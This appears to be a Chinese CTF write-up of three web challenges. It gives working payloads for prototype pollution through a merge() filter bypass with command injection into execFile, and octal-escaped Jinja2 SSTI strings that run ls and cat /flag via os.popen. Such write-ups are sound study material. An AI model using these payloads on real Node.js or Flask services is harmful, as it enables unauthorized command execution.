WHOYOUARE

主要看了这个题目,popsql和ezus学弟直接K了

题目给了附件,看关键代码,对传入的user.command进行检查,然后通过merge将user复制给request.user,然后通过ChildProcess.execFile执行request.user.command

image-20221107153308686

所以我们需要赋值command为恶意命令,主要看两个函数,checkuser和merge

checkUser

checkUser函数如下,首先是command需要时一个数组,长度小于等于2,并且字符串长度不能超过4,只能含有a-zA-Z0-9-以内的字符串(包括-i -c这样的字符串)

1
2
3
4
5
6
7
8
9
10
11
12
13
function checkUser(command){
if (Array.isArray(command) === false || command.length > 2) { // 需要为数组,且长度小于等于2
console.log("不是数组");
return false;
}
for (let i = 0; i < command.length; i++) {
let cmd = command[i];
if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) { //不能有特殊字符 a-z A-Z 0-9-是可用字符
return false;
}
}
return true;
}

merge

其实看merge这个函数名,八九不离十就有原型链污染

这里对键名添加了白名单限制,并且还过滤了__proto__,但是可以通过constructor.prototype绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const merge = (target, source) => {
for (const key in source) {
console.log(key+"类型是");
if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ // 不在白名单中
if(key !== '__proto__'){
merge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}

module.exports = merge

本地实践,可以污染任意一个属性,比如b=2,测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// let source = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
let source = JSON.parse('{"a": 1, "constructor": {"prototype": {"b": 2}}}');
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const merge = (target, source) => {
for (const key in source) {
if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ // 不在白名单中
if(key !== '__proto__'){
merge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
// merge(target,source)
// console.log(target)
// console.log(target.a, target.b)
// console.log(source)
// console.log("11111111")
// o3 = {}
// console.log(o3.b)

9299146e-03d1-407f-acff-5d2e7d08e42d

发现可以执行在不违背waf的情况下,可以执行一些简短的命令

1
2
3
4
Content-Type: application/json
Content-Length: 68

{"user":"{\"username\" : \"111\", \"command\": [\"-c\", \"ls /\"]}"}

output

这时候发现代码实际执行的时候,其实就是/bin/bash -c ls /bin在前面被定义为/bin/bash,本地环境测试的时候,改为cmd.exe

image-20221107154322968

在本地测试的时候,发现原型链污染的数据会添加在command数组后,是因为merge合并的

1
2
3
4
5
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 123

{"user":"{\"username\" : \"111\",\"constructor\":{\"prototype\": {\"command\": \"whoami\"}},\"command\":[\"/c\",\"dir\"]}"}

img

只要将对应的值改为2,那么就会在command数组行添加2->C:

c3f5b25a-0b04-4083-a7da-a6dbf2519a88

本地可以成功,如下

1
2
3
4
Content-Type: application/json
Content-Length: 112

{"user":"{\"username\" : \"111\",\"constructor\":{\"prototype\": {\"2\":\"D:\"}},\"command\":[\"/c\",\"dir\"]}"}

7f9b007b-e9bb-4951-90f1-193685fa6503

但是因为linux和windows执行命令上的区别,,长度不能超过4,而bin/bash -c "cmd"需要引号,但特殊符号只有-可以用

image-20221107155920628

本来想bin/bash -c bash -i反弹shell的,靶机为内网环境没成功

后来发现,把bash去掉,直接拼接 -c -i 就可以了

a8465c81-feae-42a3-9e34-84b856de7525

没有人比我更懂py

记录一下无字母SSTI

Flask ssti - Diego | BY Blog

zxhyo.github.io/index.html at 22c16067a9f293fc8bf35c3502f8ec39d2da3bcf · zxhyo/zxhyo.github.io

8进制绕过

1
2
3
4
5
6
7
8
9
exp = "__class__"
dicc = []
exploit = ""
for i in range(256):
eval("dicc.append('{}')".format("\\"+str(i)))
for i in exp:
exploit += "\\"+ str(dicc.index(i))

print(exploit)
1
2
3
4
5
6
7
8
{{[]["\137\137\143\154\141\163\163\137\137"]}}
回显:
&lt;class &#39;list&#39;&gt;

{{[]["\137\137\143\154\141\163\163\137\137"]['\137\137\142\141\163\145\137\137']}}
回显:&amp;lt;class &amp;#39;object&amp;#39;&amp;gt;

{{[]["\137\137\143\154\141\163\163\137\137"]['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()}}

d9981991-64f6-4025-a93a-67d968b99d10

1
2
3
4
5
os._wrap_close
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}

ls
{{[]["\137\137\143\154\141\163\163\137\137"]['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[132]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\154\163')['\162\145\141\144']()}}

f22af98b-fa54-4cf9-9c21-43733bfbdfde

cat /flag

1
{{[]["\137\137\143\154\141\163\163\137\137"]['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[132]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\143\141\164\40\57\146\154\141\147')['\162\145\141\144']()}}

63cd0950-0115-4579-b7cf-4dc5049782a3

web_mimic

记录下这个题目

fea1d20c-b4a8-4fcc-b840-5326c87360f0

md5解密,得到123

55b86568-8f35-4b07-b154-d2b192e7f2de

进行DES解密

2d2d8262-9a80-4b8c-8527-d468b9dfd828

得到

1.maybe used first url get random:

/mimic_storage

2.maybe used second url get flag:

/getflag?sec=random&path=xxxx

xxx is:

bAzlsD1ChiFW5eMC5tUokHErPkdjqARE

第一步访问/mimic_storage获得随机数1275589079

74e3704f-74d0-4673-a40d-22ec7084c1c7

第二步,填上对应的sec和path,获得flag

6dfb68e5-8cec-4ac3-af54-13853a1be3c1

有进步,继续加油学(ง •_•)ง